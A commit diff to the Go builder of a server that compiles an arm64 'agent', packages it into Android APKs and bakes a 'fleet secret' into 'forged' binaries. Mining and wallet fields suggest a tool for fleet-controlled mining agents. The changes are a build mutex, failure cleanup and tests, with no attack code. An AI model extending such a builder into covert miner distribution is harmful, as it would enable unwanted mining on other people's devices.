Update server config, builder APK logic, frontend fleet/activity metrics, and ignore test APKs

server/internal/builder/build_apk.go

@@ -231,6 +231,9 @@ func apkFileName(req *BuildRequest) string {
 
 // buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
 func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
+	h.apkBuildMu.Lock()
+	defer h.apkBuildMu.Unlock()
+
 	if req.ScoutMode {
 		ApplyApkScoutPreset(req)
 	} else {
@@ -337,6 +340,7 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
 	}
 	h.setProgress(req.CancelToken, "Saving to database", 99)
 	if err := h.db.InsertBuild(buildRecord); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
 	}
 

server/internal/builder/build_apk_test.go

@@ -3,10 +3,13 @@ package builder
 import (
 	"context"
 	"encoding/json"
+	"fmt"
 	"os"
 	"path/filepath"
 	"strings"
+	"sync"
 	"testing"
+	"time"
 )
 
 func TestApplyApkScoutPreset(t *testing.T) {
@@ -254,3 +257,104 @@ func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
 		t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
 	}
 }
+
+func TestBuildAPKAgentConcurrency(t *testing.T) {
+	h, database := testHandlerDB(t)
+	t.Cleanup(func() { _ = database.Close() })
+	setFakeGoSuccess(t, h)
+
+	androidDir := filepath.Join(h.projectRoot, "android")
+	if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	// Channel to coordinate/delay the mock builds to assert serialization
+	inBuildChan := make(chan struct{}, 2)
+	h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
+		inBuildChan <- struct{}{}
+		// Wait a small duration to keep the lock held, letting another call try to acquire it
+		time.Sleep(50 * time.Millisecond)
+		apk := filepath.Join(buildDir, "agent-app-debug.apk")
+		if err := os.WriteFile(apk, []byte("PK fake apk concurrent"), 0644); err != nil {
+			return "", err
+		}
+		return apk, nil
+	}
+
+	var wg sync.WaitGroup
+	wg.Add(2)
+	for i := 0; i < 2; i++ {
+		go func(id int) {
+			defer wg.Done()
+			req := &BuildRequest{
+				WorkerName:  fmt.Sprintf("node-%d", id),
+				ServerURL:   "http://10.0.0.1:8989",
+				CancelToken: fmt.Sprintf("cancel-token-%d", id),
+				ApkMode:     true,
+			}
+			resp, code, _ := h.buildAPKAgent(context.Background(), req)
+			if code != 200 || !resp.Success {
+				t.Errorf("concurrent build %d failed: code=%d resp=%+v", id, code, resp)
+			}
+		}(i)
+	}
+
+	wg.Wait()
+	close(inBuildChan)
+
+	// Since they are serialized, they should execute one after the other.
+	if len(inBuildChan) != 2 {
+		t.Fatalf("expected 2 builds to have run, got %d", len(inBuildChan))
+	}
+}
+
+func TestBuildAPKAgentDatabaseFailureCleanup(t *testing.T) {
+	h, database := testHandlerDB(t)
+	// We close the database immediately so that InsertBuild fails
+	_ = database.Close()
+
+	setFakeGoSuccess(t, h)
+
+	androidDir := filepath.Join(h.projectRoot, "android")
+	if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
+		t.Fatal(err)
+	}
+
+	h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
+		apk := filepath.Join(buildDir, "agent-app-debug.apk")
+		if err := os.WriteFile(apk, []byte("PK fake apk cleanup test"), 0644); err != nil {
+			return "", err
+		}
+		return apk, nil
+	}
+
+	req := &BuildRequest{
+		WorkerName:  "cleanup-node",
+		ServerURL:   "http://10.0.0.1:8989",
+		CancelToken: "cleanup-test-token",
+		ApkMode:     true,
+	}
+
+	// Capture existing files in builds dir
+	buildsDir := filepath.Join(h.dataDir, "builds")
+	_ = os.MkdirAll(buildsDir, 0755)
+
+	resp, code, _ := h.buildAPKAgent(context.Background(), req)
+	if resp.Success || code == 200 {
+		t.Fatalf("expected build to fail on DB write, but got success: code=%d", code)
+	}
+
+	// Verify that the build directory under builds/ was cleaned up
+	files, err := os.ReadDir(buildsDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if len(files) != 0 {
+		var names []string
+		for _, f := range files {
+			names = append(names, f.Name())
+		}
+		t.Fatalf("expected builds directory to be empty after database failure cleanup, but found: %v", names)
+	}
+}
+

server/internal/builder/handler.go

@@ -232,8 +232,12 @@ type Handler struct {
 
 	// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
 	apkBuildFn ApkBuildFunc
+
+	// apkBuildMu serializes parallel Android APK builds to prevent concurrent writes to the shared assets directory and concurrent gradle runs.
+	apkBuildMu sync.Mutex
 }
 
+
 // SetFleetSecret stores the fleet secret so it is baked into every forged binary.
 func (h *Handler) SetFleetSecret(secret string) {
 	h.fleetSecret = secret